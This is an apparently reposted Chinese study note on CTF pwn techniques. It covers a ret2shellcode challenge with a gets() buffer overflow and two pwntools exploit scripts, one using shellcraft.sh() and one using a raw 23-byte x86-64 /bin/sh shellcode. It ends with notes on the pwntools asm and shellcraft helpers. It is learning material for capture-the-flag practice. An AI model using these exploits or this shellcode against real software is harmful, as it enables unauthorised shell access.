再转一篇笔记过来
shellcode
第一种shellcode
shellcode=asm(shellcraft.sh())
这个shellcode是44个字节的,需要储存的全局变量有可执行的权限,在栈溢出的基础上去调用
例如ret2shellcode:
int __cdecl main(int argc, const char **argv, const char **envp){
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets((char *)&v4);
strncpy(buf2, (const char *)&v4, 0x64u);
printf("bye bye ~");
return 0;
}
exp:
#!/usr/bin/env
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
这里就是把shellcode复制到全局变量buf2中,而buf2所在的bss段是可执行的,所以直接调用就好了。
第二种shellcode
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
这个shellcode是23个字节的,可以在栈上执行(开启NX保护则失效)
例题:
exp:
#_*_coding:utf-8_*_
from pwn import*
a=process('./sss')
#a=remote('challenge-da07c154dce2d399.sandbox.ctfhub.com',29115)
a.recvuntil('[')
buf_addr = a.recvuntil(']', drop=True) #这种接收方式,学到了学到了
buf=int(buf_addr,16)+32
a.recvuntil('Input someting : ')
shell="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
a.sendline('a'*24+p64(buf)+shell) #p64(buf)为返回地址
a.interactive()
setvbuf函数解释:
int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
参数:
stream — 这是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流。
buffer — 这是分配给用户的缓冲。如果设置为 NULL,该函数会自动分配一个指定大小的缓冲。
mode — 这指定了文件缓冲的模式
这个shellcode是有push指令的,如果把shellcode放在返回地址的前面,在程序leave的时候会破坏shellcode,所以将其放在后面。
1.asm 进行汇编,使用参数来指定cpu类型以及操作系统
32位linux:
asm("mov eax, SYS_select", arch = 'i386', os = 'linux')
64位linux:
asm("mov eax, SYS_select", arch = 'amd64', os = 'linux')
2.shellcode生成器
32位:shellcraft.i386.linux.sh()
64位:shellcraft.amd64.linux.sh()
其它系统调用:
shellcraft.fopen()
shellcraft.read()
shellcraft.wirte()
#还有很多不清楚的地方,下次再补上